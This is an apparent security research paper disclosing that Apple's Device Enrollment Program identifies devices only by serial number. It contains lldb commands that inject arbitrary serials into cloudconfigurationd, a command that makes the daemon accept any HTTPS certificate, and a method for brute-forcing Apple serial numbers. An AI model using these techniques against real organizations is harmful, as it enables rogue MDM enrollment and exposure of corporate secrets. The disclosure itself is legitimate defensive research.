Skip navigation

Duo Security is now a part of Cisco

About Cisco

← Back to Index

MDM Me Maybe: Device Enrollment Program Security

01. Abstract

The Device Enrollment Program (DEP) is a service provided by Apple for bootstrapping Mobile Device Management (MDM) enrollment of iOS, macOS, and tvOS devices. DEP hosts an internet-facing API at https://iprofiles.apple.com, which - among other things - is used by the cloudconfigurationd daemon on macOS systems to request DEP Activation Records and query whether a given device is registered in DEP.

In our research, we found that in order to retrieve the DEP profile for an Apple device, the DEP service only requires the device serial number to be supplied to an undocumented DEP API. Additionally, we developed a method to instrument the cloudconfigurationd daemon to inject Apple device serial numbers of our choosing into the request sent to the DEP API. This allowed us to retrieve data specific to the device associated with the supplied serial number.

Obtaining the DEP profile for a given Apple device discloses information about the organization that owns the device, and - if the MDM server doesn't require additional user authentication during enrollment - could be used by an attacker to enroll a device of their choosing into an organization’s MDM server. Once enrolled, the device may receive any number of certificates, applications, WiFi passwords, VPN configurations and so on.

02. Introduction

Mobile Device Management (MDM) is a technology commonly used to administer end-user computing devices such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the MDM Protocol.

The Device Enrollment Program (DEP) is a service offered by Apple that simplifies Mobile Device Management (MDM) enrollment by offering zero-touch configuration of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately.

The scope of DEP has also increased over time. In June 2018, the standalone DEP service was rolled into Apple Business Manager (ABM) and Apple School Manager (ASM), allowing businesses and educational institutions to use a single service that handles both Device Deployment (DEP) and "Apps and Books" (VPP).

Administrators can leverage DEP to automatically enroll devices in their organization’s MDM server. Once a device is enrolled, in many cases it is treated as a “trusted” device owned by the organization, and could receive any number of certificates, applications, WiFi passwords, VPN configurations and so on.

The benefits of Apple’s Device Enrollment Program seem obvious, at least for user experience reasons. Instead of manually performing cumbersome MDM enrollment, or using traditional endpoint deployment methods like imaging, users can unbox their new device and be ready to go on day one.

Unfortunately, if an organization has not taken additional steps to protect their MDM enrollment, a simplified end-user enrollment process through DEP can also mean a simplified process for attackers to enroll a device of their choosing in the organization’s MDM server, assuming the "identity" of a corporate device.

Additionally, the attacker could retrieve information about the organization that owns a particular Apple device. This doesn’t have to be the case, but due to some limitations in how devices are authenticated prior to MDM enrollment makes this possible.

In this paper, we briefly look at the DEP enrollment process, then dive deeper into how endpoints are authenticated prior to enrollment. Finally, we discuss mitigations for both Apple and customers currently leveraging DEP or hoping to do so in the future.

03. DEP APIs

We begin our journey of understanding DEP by looking at the APIs used to interface with the DEP service. There are three distinct DEP APIs.

  • The so-called DEP "cloud service" API. This is used by MDM servers to associate DEP profiles with specific devices.
  • The DEP API used by Apple Authorized Resellers to enroll devices, check enrollment status, and check transaction status.
  • The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the cloudconfigurationd binary is responsible for communicating over this API.

Unless otherwise noted, the API we're referring to throughout this paper is the private DEP API.

04. How Does DEP Enrollment Work?

Before a device can automatically enroll into its organization's MDM server through DEP, a bootstrapping process must be completed. This bootstrapping process involves several asynchronous steps:

  1. Apple, (or an Apple Authorized Reseller), creates a device record through the DEP API.
  2. The organization using DEP to bootstrap MDM enrollment assigns the device to their MDM server in Apple Business Manager.
  3. The MDM server retrieves the device record through the DEP API, then creates a DEP profile.
  4. The device authenticates to the DEP API, then retrieves its Activation Record.
  5. The device authenticates to the MDM server to retrieve a Configuration Profile containing an MDM Enrollment Payload, Certificate Payload, and SCEP Payload.
  6. The device requests and receives its client certificate through SCEP.
  7. The device authenticates to the MDM server with the client certificate retrieved during step six. MDM commands can then be sent to the device via APNs.

Our research focused mostly on step four, the DEP check-in process. For the curious reader, the device bootstrapping process is described in greater detail in Jesse Endahl and Max Bélanager's paper, A Deep Dive into macOS MDM (and how it can be compromised).

05. DEP Authentication

Due to the way DEP is implemented, it effectively only uses the system serial number to authenticate devices prior to enrollment. This was - as far as we know - originally discovered by Pepijn Bruienne, Jesse Peterson and Victor Vrantchan in 2015. Pepijn, Jesse, and Victor needed a way to quickly test DEP, so they configured Virtual Machines to use DEP-registered serial numbers to simulate the DEP enrollment flow.

This is problematic, though, because an attacker armed with only a valid, DEP-registered serial number can potentially enroll a rogue device into an organization's MDM server, or use the DEP API to glean information from enrolled devices.

06. Binaries Involved in DEP and MDM

There are several client binaries involved in DEP and MDM enrollment and management on macOS. Throughout our research, we explored the following:

  • mdmclient: Used by the OS to communicate with an MDM server. On macOS 10.13.3 and earlier, it can also be used to trigger a DEP check-in.
  • profiles: A utility that can be used to install, remove and view Configuration Profiles on macOS. It can also be used to trigger a DEP check-in on macOS 10.13.4 and newer.
  • cloudconfigurationd: The Device Enrollment client daemon, which is responsible for communicating with the DEP API and retrieving Device Enrollment profiles.

When using either mdmclient or profiles to initiate a DEP check-in, the CPFetchActivationRecord and CPGetActivationRecord functions are used to retrieve the Activation Record. CPFetchActivationRecord delegates control to cloudconfigurationd through XPC, which then retrieves the Activation Record from the DEP API.

CPGetActivationRecord retrieves the Activation Record from cache, if available. These functions are defined in the private Configuration Profiles framework, located at /System/Library/PrivateFrameworks/Configuration Profiles.framework.

07. Research Methodology

To test whether a serial number is indeed the only identifier needed to perform a DEP check-in, we manually inserted a known DEP-registered Mac serial number in a VMware VMX file, then booted the virtual machine.

serialNumber = "<serial_number>"

With the Virtual Machine using the serial number we wrote to the VMX file, we’re able to confirm that the machine is DEP-registered by issuing the following command on devices running macOS 10.13.3 or earlier:

sudo /usr/libexec/mdmclient dep nag

This outputs a pretty-printed Activation Record if the device’s serial number is registered in DEP. Also, if DEP enrollment hasn't already completed, a notification will be displayed stating that "Company X can automatically configure your Mac."

Activation record: {
AllowPairing = 1;
AnchorCertificates =     (
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://example.com/enroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
OrganizationAddressLine1 = "123 Main Street";
OrganizationAddressLine2 = NULL;
OrganizationCity = Anywhere;
OrganizationCountry = USA;
OrganizationDepartment = "IT";
OrganizationEmail = "dep@example.com";
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
OrganizationName = "Example, Inc.";
OrganizationPhone = "+15555555555";
OrganizationSupportPhone = "+15555555555";
OrganizationZipCode = "12345";
SkipSetup =     (
TapToSetup,
Payment,
Zoom,
Biometric,
<snip>
);
SupervisorHostCertificates =     (
);
}

Machines that are not DEP-registered will display an empty Activation Record.

Activation record: {
}

On machines running macOS 10.13.4 and later, running the above command will return the following error:

[ERROR] Use 'sudo profiles renew -type enrollment' instead

However, this doesn’t mean we’re unable to view information on DEP-registered devices on macOS systems above 10.13.4. There are two known workarounds:

  • Copy the mdmclient binary from another Mac running macOS 10.13.3 or earlier and run it on the macOS 10.13.4 or later machine.
  • Enable Managed Client (MCX) and MDM debug logging by installing this Configuration Profile. The Activation Record will not be printed to standard output, but will instead be written to /Library/Logs/ManagedClient/ManagedClient.log.

Once we were able to confirm that only the serial number is required to authenticate the device for the initial DEP enrollment in a Virtual Machine, we set out to produce a reliable, automated method of controlling the serial number that's submitted when initiating a new DEP enrollment. Since there are a number of different ways this can be achieved, we explored a handful of them initially. These are:

  • Man-in-the-middle (MITM) network requests to modify the system serial number before it is submitted to iprofiles.apple.com.
  • Reverse engineer the communication protocol between cloudconfigurationd and the DEP API, which is internally referred to as "Tesla," as well as the scheme used to uniquely identify devices, known as "Absinthe." Understanding how these protocols work would allow us to create a macProfile payload with an arbitrary serial number and submit the request.
  • Instrument the binaries that interact with the DEP API to insert arbitrary device serial numbers before the request is made.

It would have also been possible to automate modifying the VMX file to include an arbitrary serial number, then start the VM and run the enrollment command. We didn’t seriously consider this because of performance reasons, but it could have been used as a last resort.

Reverse Engineering the Tesla Protocol and Absinthe Scheme

During the DEP check-in process, cloudconfigurationd requests an Activation Record from iprofiles.apple.com/macProfile. The request payload is a JSON dictionary containing two key-value pairs:

{
"sn": "",
action": "RequestProfileConfiguration
}

The payload is signed and encrypted using a scheme internally referred to as "Absinthe." The encrypted payload is then Base 64 encoded and used as the request body in an HTTP POST to iprofiles.apple.com/macProfile.

In cloudconfigurationd, fetching the Activation Record is handled by the MCTeslaConfigurationFetcher class. The general flow from [MCTeslaConfigurationFetcher enterState:] is as follows:

rsi = @selector(verifyConfigBag);
rsi = @selector(startCertificateFetch);
rsi = @selector(initializeAbsinthe);
rsi = @selector(startSessionKeyFetch);
rsi = @selector(establishAbsintheSession);
rsi = @selector(startConfigurationFetch);
rsi = @selector(sendConfigurationInfoToRemote);
rsi = @selector(sendFailureNoticeToRemote);

Since the Absinthe scheme is what appears to be used to authenticate requests to the DEP service, reverse engineering this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be time consuming, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the Activation Record request.

MITMing DEP Requests

We explored the feasibility of proxying network requests to iprofiles.apple.com with Charles Proxy. Our goal was to inspect the payload sent to iprofiles.apple.com/macProfile, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by cloudconfigurationd is in JSON format and contains two key-value pairs.

{
"action": "RequestProfileConfiguration",
sn": "
}

Since the API at iprofiles.apple.com uses Transport Layer Security (TLS), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests.

However, the -[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:] method checks the validity of the server certificate, and will abort if server trust cannot be verified.

[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
"The Device Enrollment server trust could not be verified. Please contact your system
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
server trust could not be verified. Please contact your system administrator.,
MCErrorType=MCFatalError}

The error message shown above is located in a binary Errors.strings file with the key CLOUD_CONFIG_SERVER_TRUST_ERROR, which is located at /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings, along with other related error messages.

$ cd /System/Library/CoreServices
$ rg "The Device Enrollment server trust could not be verified"
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
<snip>

The Errors.strings file can be printed in a human-readable format with the built-in plutil command.

$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings

After looking into the MCTeslaConfigurationFetcher class further, though, it became clear that this server trust behavior can be circumvented by enabling the MCCloudConfigAcceptAnyHTTPSCertificate configuration option on the com.apple.ManagedClient.cloudconfigurationd preference domain.

loc_100006406:
rax = [NSUserDefaults standardUserDefaults];
rax = [rax retain];
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
r15 = r15;
[rax release];
if (r14 != 0x1) goto loc_10000646f;

The MCCloudConfigAcceptAnyHTTPSCertificate configuration option can be set with the defaults command.

sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes

With SSL Proxying enabled for iprofiles.apple.com and cloudconfigurationd configured to accept any HTTPS certificate, we attempted to man-in-the-middle and replay the requests in Charles Proxy.

However, since the payload included in the body of the HTTP POST request to iprofiles.apple.com/macProfile is signed and encrypted with Absinthe, (NACSign), it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring cloudconfigurationd with the LLDB debugger.

Instrumenting System Binaries That Interact With DEP

The final method we explored for automating the process of submitting arbitrary serial numbers to iprofiles.apple.com/macProfile was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the mdmclient, profiles, and cloudconfigurationd in Hopper v4 and Ida Pro, and some lengthy debugging sessions with lldb.

One of the benefits of this method over modifying the binaries and re-signing them with our own key is that it sidesteps some of the entitlements restrictions built into macOS that might otherwise deter us.

System Integrity Protection

In order to instrument system binaries, (such as cloudconfigurationd) on macOS, System Integrity Protection (SIP) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. SIP can be disabled by booting into Recovery Mode and running the following command in the Terminal application, then rebooting:

csrutil enable --without debug

It’s worth noting, however, that SIP is a useful security feature and should not be disabled except for research and testing purposes on non-production machines. It’s also possible (and recommended) to do this on non-critical Virtual Machines rather than on the host operating system.

Binary Instrumentation With LLDB

With SIP disabled, we were then able to move forward with instrumenting the system binaries that interact with the DEP API, namely, the cloudconfigurationd binary. Because cloudconfigurationd requires elevated privileges to run, we need to start lldb with sudo.

$ sudo lldb
(lldb) process attach --waitfor --name cloudconfigurationd

While lldb is waiting, we can then attach to cloudconfigurationd by running sudo /usr/libexec/mdmclient dep nag in a separate Terminal window. Once attached, output similar to the following will be displayed and LLDB commands can be typed at the prompt.

Process 861 stopped
* thread #1, stop reason = signal SIGSTOP
<snip>
Target 0: (cloudconfigurationd) stopped.

Executable module set to "/usr/libexec/cloudconfigurationd".
Architecture set to: x86_64h-apple-macosx.
(lldb)

Setting the Device Serial Number

One of the first things we looked for when reversing mdmclient and cloudconfigurationd was the code responsible for retrieving the system serial number, as we knew the serial number was ultimately responsible for authenticating the device. Our goal was to modify the serial number in memory after it is retrieved from the IORegistry, and have that be used when cloudconfigurationd constructs the macProfile payload.

Although cloudconfigurationd is ultimately responsible for communicating with the DEP API, we also looked into whether the system serial number is retrieved or used directly within mdmclient. The serial number retrieved as shown below is not what is sent to the DEP API, but it did reveal a hard-coded serial number that is used if a specific configuration option is enabled.

int sub_10002000f() {
if (sub_100042b6f() != 0x0) {
r14 = @"2222XXJREUF";
}
else {
rax = IOServiceMatching("IOPlatformExpertDevice");
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
<snip>
}
rax = r14;
return rax;
}

The system serial number is retrieved from the IORegistry, unless the return value of sub_10002000f is nonzero, in which case it’s set to the static string “2222XXJREUF”. Upon inspecting that function, it appears to check whether “Server stress test mode” is enabled.

void sub_1000321ca(void * _block) {
if (sub_10002406f() != 0x0) {
*(int8_t *)0x100097b68 = 0x1;
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
}
return;
}

We documented the existence of “server stress test mode,” but didn’t explore it any further, as our goal was to modify the serial number presented to the DEP API. Instead, we tested whether modifying the serial number pointed to by the r14 register would suffice in retrieving an Activation Record that was not meant for the machine we were testing on.

Next, we looked at how the system serial number is retrieved within cloudconfigurationd.

int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
var_50 = arg3;
r12 = arg2;
r13 = arg1;
r15 = arg0;
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
r14 = 0xffffffffffff541a;
if (rbx != 0x0) {
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
r14 = rax;
<snip>
}
rax = r14;
return rax;
}

As can be seen above, the serial number is retrieved from the IORegistry in cloudconfigurationd as well.

Using lldb, we were able to modify the serial number retrieved from the IORegistry by setting a breakpoint for IOServiceGetMatchingService and creating a new string variable containing an arbitrary serial number and rewriting the r14 register to point to the memory address of the variable we created.

(lldb) breakpoint set -n IOServiceGetMatchingService
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --waitfor --name cloudconfigurationd
Process 2208 stopped
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
stop reason = instruction step over frame #0: 0x000000010fd824d8
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
->  0x10fd824d8 <+73>: movl   %ebx, %edi
0x10fd824da <+75>: callq  0x10ffac91e               ; symbol stub for: IOObjectRelease
0x10fd824df <+80>: testq  %r14, %r14
0x10fd824e2 <+83>: jne    0x10fd824e7               ; <+88>
Target 0: (cloudconfigurationd) stopped.
(lldb) continue  # Will hit breakpoint at `IOServiceGetMatchingService`
# Step through the program execution by pressing 'n' a bunch of times and
# then 'po $r14' until we see the serial number.
(lldb) n
(lldb) po $r14
C02JJPPPQQQRR  # The system serial number retrieved from the `IORegistry`
# Create a new variable containing an arbitrary serial number and print the memory address.
(lldb) p/x @"C02XXYYZZNNMM"
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
# Rewrite the `r14` register to point to our new variable.
(lldb) register write $r14 0x00007fb6d7d05850
(lldb) po $r14
# Confirm that `r14` contains the new serial number.
C02XXYYZZNNMM

Although we were successful in modifying the serial number retrieved from the IORegistry, the macProfile payload still contained the system serial number, not the one we wrote to the r14 register.

Exploit: Modifying the Profile Request Dictionary Prior to JSON Serialization

Next, we tried setting the serial number that is sent in the macProfile payload in a different way. This time, rather than modifying the system serial number retrieved via IORegistry, we tried to find the closest point in the code where the serial number is still in plain text before being signed with Absinthe (NACSign). The best point to look at appeared to be -[MCTeslaConfigurationFetcher startConfigurationFetch], which roughly performs the following steps:

  • Creates a new NSMutableData object
  • Calls [MCTeslaConfigurationFetcher setConfigurationData:], passing it the new NSMutableData object
  • Calls [MCTeslaConfigurationFetcher profileRequestDictionary], which returns an NSDictionary object containing two key-value pairs:
  • sn: The system serial number
  • action: The remote action to perform (with sn as its argument)
  • Calls [NSJSONSerialization dataWithJSONObject:], passing it the NSDictionary from profileRequestDictionary
  • Signs the JSON payload using Absinthe (NACSign)
  • Base64 encodes the signed JSON payload
  • Sets the HTTP method to POST
  • Sets the HTTP body to the base64 encoded, signed JSON payload
  • Sets the X-Profile-Protocol-Version HTTP header to 1
  • Sets the User-Agent HTTP header to ConfigClient-1.0
  • Uses the [NSURLConnection alloc] initWithRequest:delegate:startImmediately:] method to perform the HTTP request

We then modified the NSDictionary object returned from profileRequestDictionary before being converted into JSON. To do this, a breakpoint was set on dataWithJSONObject in order to get us as close as possible to the as-yet unconverted data as possible. The breakpoint was successful, and when we printed the contents of the register we knew through the disassembly (rdx) that we got the results we expected to see.

po $rdx
{
action = RequestProfileConfiguration;
sn = C02XXYYZZNNMM;
}

The above is a pretty-printed representation of the NSDictionary object returned by [MCTeslaConfigurationFetcher profileRequestDictionary]. Our next challenge was to modify the in-memory NSDictionary containing the serial number.

(lldb) breakpoint set -r "dataWithJSONObject"
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
(lldb) process attach --name "cloudconfigurationd" --waitfor
Process 3291 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
Target 0: (cloudconfigurationd) stopped.
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
(lldb) continue
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
@"RequestProfileConfiguration", @"action", nil]
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
# Confirm that `rdx` contains the new `NSDictionary`.
po $rdx
{
action = RequestProfileConfiguration;
sn = <new_serial_number>
}

The listing above does the following:

  • Creates a regular expression breakpoint for the dataWithJSONObject selector
  • Waits for the cloudconfigurationd process to start, then attaches to it
  • continues execution of the program, (because the first breakpoint we hit for dataWithJSONObject is not the one called on the profileRequestDictionary)
  • Creates and prints (in hex format due to the /x) the result of creating our arbitrary NSDictionary
  • Since we already know the names of the required keys we can simply set the serial number to one of our choice for sn and leave action alone
  • The printout of the result of creating this new NSDictionary tells us we have two key-value pairs at a specific memory location

Our final step was now to repeat the same step of writing to rdx the memory location of our custom NSDictionary object that contains our chosen serial number:

(lldb) register write $rdx 0x00007ff068c2e5a0  # Rewrite the `rdx` register to point to our new variable
(lldb) continue

This points the rdx register to our new NSDictionary right before it's serialized to JSON and POSTed to iprofiles.apple.com/macProfile, then continues program flow.

This method of modifying the serial number in the profile request dictionary before being serialized to JSON worked. When using a known-good DEP-registered Apple serial number instead of (null), the debug log for ManagedClient showed the complete DEP profile for the device:

Apr  4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
{
AllowPairing = 1;
AnchorCertificates =     (
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://some.url/cloudenroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "Org address";
OrganizationAddressLine1 = "More address";
OrganizationAddressLine2 = NULL;
OrganizationCity = A City;
OrganizationCountry = US;
OrganizationDepartment = "Org Dept";
OrganizationEmail = "dep.management@org.url";
OrganizationMagic = <unique string>;
OrganizationName = "ORG NAME";
OrganizationPhone = "+1551234567";
OrganizationSupportPhone = "+15551235678";
OrganizationZipCode = "ZIPPY";
SkipSetup =     (
AppleID,
Passcode,
Zoom,
Biometric,
Payment,
TOS,
TapToSetup,
Diagnostics,
HomeButtonSensitivity,
Android,
Siri,
DisplayTone,
ScreenSaver
);
SupervisorHostCertificates =     (
);
}

With just a few lldb commands we can successfully insert an arbitrary serial number and get a DEP profile that includes various organization-specific data, including the organization's MDM enrollment URL. As discussed, this enrollment URL could be used to enroll a rogue device now that we know its serial number. The other data could be used to social engineer a rogue enrollment. Once enrolled, the device could receive any number of certificates, profiles, applications, VPN configurations and so on.

Automating cloudconfigurationd Instrumentation With Python

Once we had the initial proof-of-concept demonstrating how to retrieve a valid DEP profile using just a serial number, we set out to automate this process to show how an attacker might abuse this weakness in authentication.

Fortunately, the LLDB API is available in Python through a script-bridging interface. On macOS systems with the Xcode Command Line Tools installed, the lldb Python module can be imported as follows:

import lldb

This made it relatively easy to script our proof-of-concept demonstrating how to insert a DEP-registered serial number and receive a valid DEP profile in return. The PoC we developed takes a list of serial numbers separated by newlines and injects them into the cloudconfigurationd process to check for DEP profiles.

DEP Notification. Charles SSL Proxying Settings.

08. Brute Forcing Apple Serial Numbers

One of the biggest concerns resulting from our findings is that Apple device serial numbers can be brute-forced relatively easily. There is enough information in the serial number to limit the search space significantly, greatly increasing the speed and accuracy with which an attacker can generate serial numbers and check for valid DEP profiles. The feasibility of brute-forcing Apple serial numbers would also make it feasible to perform the following:

  • Determine exactly which Apple customers are using DEP, and the number and type of devices they use.
  • Build a data set mapping Apple serial numbers to the organization that owns the device, (if using DEP).
  • Build a data set containing all DEP ConfigurationURLs, as well as other data included in the DEP profile and map it to serial numbers.
  • Use the information obtained via the DEP API to target specific organizations using DEP, then enroll rogue devices in their MDM server.

In order to generate Apple serial numbers, an understanding of their format is needed. This format is discussed in detail below.

Serial Number Format

Apple serial numbers are more complex than they may initially seem. To be able to efficiently generate valid serial numbers, an understanding of their construction is required. What follows is a brief overview of Apple's 12-character serial number format. Eleven character serial numbers also exist, but they use a different format and are used on older devices. As such, we're only discussing the 12-character serial number format in this paper.

By understanding how valid serial numbers are constructed, we are able to reduce the key space needed to generate candidate serial numbers, increasing speed of generation. We can also target serial numbers for devices we know are in use by a given organization. For example, if Company X is known to use recent MacBook Pro computers, we can limit requests for DEP profiles to MacBook Pro serial numbers that have been manufactured within the last 12 months.

It's important to note, however, that just because a serial number is syntactically correct, that doesn’t mean it has actually been issued by Apple and is associated with a real device. Furthermore, just because a serial number is associated with a real device doesn't mean it's registered with DEP.

Apple's 12-character serial numbers include the following five components:

  1. Plant code
  2. Year of manufacture
  3. Week of manufacture
  4. Unit code (unique per device)
  5. Device model identifier

For illustrative purposes, we will use an example serial number of C02SP1ABHP4D to demonstrate the format.

Plant code
Byte position: 0
Length: Three bytes
Encoding: None/Unknown

The only known plant code in use on Mac devices is C02. We don’t currently know how many plant codes exist for other devices. For the purpose of Mac serial number generation, it should be treated as a static value and the first three bytes of the serial number.

In our example serial number the plant code is C02.

Year of manufacture
Byte position: Three
Length: One byte
Encoding: base-20

The year of manufacture is represented by a single byte in the following range:

[
"C", "D", "F", "G", "H", "J", "K", "L", "M", "N",
P", "Q", "R", "S", "T", "V", "W", "X", "Y", "Z
]

Vowels are removed from this range, as is the character "B". Each year has two possible characters associated with it that correspond to the 'Early' and 'Late' moniker used in Apple product names. As such, the epoch associated with this numbering scheme starts with 'C', representing 'Early 2010'. 'D' represents 'Late 2010', and so on with 'Z' representing 'Late 2019'. Whether Apple's serial number format will change or wrap around to denote models manufactured after 2020 is not yet known.

In our example serial number the year code is 'S', or 'Late 2016'

Week of manufacture
Byte position: Four
Length: One byte
Encoding: base-27

The week of manufacture is denoted per half year. Which half of the year is determined by the Early or Late year code. If the code is in the second half of the year, it indicates the offset from the 27th week of the year. The week code is a single byte in the following range:

[
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "C", "D", "F", "G",
"H", "J", "K", "L", "M", "N", "P", "Q", "R", "T", "V", "W", "X
]

Similar to the year code, vowels are removed from this range, as are the characters "B", "S", "Y", and "Z". While not documented, it's likely that these characters are omitted because they are visually similar to other valid characters. For example, "1" and "I", "4" and "A", "8" and "B", etc.

In our example, the week code is 'P', or '21'. Since the year code is 'Late 2016', this means the week is in the second half of the year, and is therefore offset by 27 weeks. According to this scheme, the system was manufactured during the 48th week of 2016.

Unit code (device-specific number)
Byte position: Five
Length: Three bytes
Encoding: base-36

The next three characters denote a code unique to the device itself given its model identifier, year of manufacture, week of manufacture and plant code. This base–36 scheme uses bytes from the following range:

[
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B",
"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N",
O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z
]

The biggest source of entropy in Apple serial numbers is the unit code, which has 46,656 (363636) possible values. The unit code is unique among devices of the same model that are manufactured at the same plant during a given week within the same year. For example, assuming there are 12 device model IDs for the iPhone X, if we wanted to generate all possible serial numbers of that model manufactured at a single plant between September 1, 2017 and September 1, 2018, we would produce approximately 29,113,344 serial numbers. We currently don’t know if these codes are assigned sequentially or at random.

In our example serial number, the device specific unit code is 1AB.

Device model identifier
Byte position: Eight
Length: Four bytes
Encoding: N/A - Finite series of identifiers

Finally, the last four characters of the serial number represent the device model. Unlike many of the other fields in the serial number, it is created from a finite set of codes that Apple creates for each hardware model. For every new model that is released, a new model ID is generated. The most comprehensive collection of these IDs can be found on Piker Alpha's MacSerials GitHub repository. While this is likely the largest collection of device model numbers available outside of Apple, some of the 2018 models are not yet included in the data set.

In our example serial number, the device model identifier is HP4D, which corresponds to the 'MacBook Pro (13-inch, 2016, Four Thunderbolt 3 Ports)' model.

Taking all of the above into account, we can determine the following from our example serial number of C02SP1ABHP4D:

  • The device was manufactured in plant 'C02'
  • The device was manufactured during the second half of 2016
  • The device was manufactured during the 48th week of 2016
  • The unit code, (IAB), is unique among devices with the same model identifier that were manufactured at the same plant and have the same week and year of manufacture
  • The device model is 'MacBook Pro (13-inch, 2016, Four Thunderbolt 3 Ports)'

Having the information outlined above, we're able to generate every valid serial number for a given set of devices manufactured in a single plant in a given year. If we were targeting a particular model that is known to be in use by an organization, we can limit the search space to those devices. Furthermore, this means it's feasible to perform a brute-force attack where we generate a serial number and check if it's associated with a specific organization.

09. Impact

There are a number of scenarios in which Apple's Device Enrollment Program could be abused that would lead to exposing sensitive information about an organization. The two most obvious scenarios involve obtaining information about the organization that a device belongs to, which can be retrieved from the DEP profile. The second is using this information to perform a rogue DEP and MDM enrollment. Each of these are discussed further below.

Information Disclosure

As mentioned previously, part of the DEP enrollment process involves requesting and receiving an Activation Record, (or DEP profile), from the DEP API. By providing a valid, DEP-registered system serial number, we're able to retrieve the following information, (either printed to stdout or written to the ManagedClient log, depending on macOS version).

Activation record: {
AllowPairing = 1;
AnchorCertificates =     (
<array_of_der_encoded_certificates>
);
AwaitDeviceConfigured = 0;
ConfigurationURL = "https://example.com/enroll";
IsMDMUnremovable = 1;
IsMandatory = 1;
IsSupervised = 1;
OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)";
OrganizationAddressLine1 = "123 Main Street";
OrganizationAddressLine2 = NULL;
OrganizationCity = Anywhere;
OrganizationCountry = USA;
OrganizationDepartment = "IT";
OrganizationEmail = "dep@example.com";
OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91;
OrganizationName = "Example, Inc.";
OrganizationPhone = "+15555555555";
OrganizationSupportPhone = "+15555555555";
OrganizationZipCode = "12345";
SkipSetup =     (
<array_of_setup_screens_to_skip>
);
SupervisorHostCertificates =     (
);
}

Although some of this information might be publicly available for certain organizations, having a serial number of a device owned by the organization along with the information obtained from the DEP profile could be used against an organization's help desk or IT team to perform any number of social engineering attacks, such as requesting a password reset or help enrolling a device in the company's MDM server.

Rogue DEP Enrollment

The Apple MDM protocol supports - but does not require - user authentication prior to MDM enrollment via HTTP Basic Authentication. Without authentication, all that's required to enroll a device in an MDM server via DEP is a valid, DEP-registered serial number. Thus, an attacker that obtains such a serial number, (either through OSINT, social engineering, or by brute-force), will be able to enroll a device of their own as if it were owned by the organization, as long as it's not currently enrolled in the MDM server. Essentially, if an attacker is able to win the race by initiating the DEP enrollment before the real device, they're able to assume the identity of that device.

Organizations can - and do - leverage MDM to deploy sensitive information such as device and user certificates, VPN configuration data, enrollment agents, Configuration Profiles, and various other internal data and organizational secrets. Additionally, some organizations elect not to require user authentication as part of MDM enrollment. This has various benefits, such as a better user experience, and not having to expose the internal authentication server to the MDM server to handle MDM enrollments that take place outside of the corporate network.

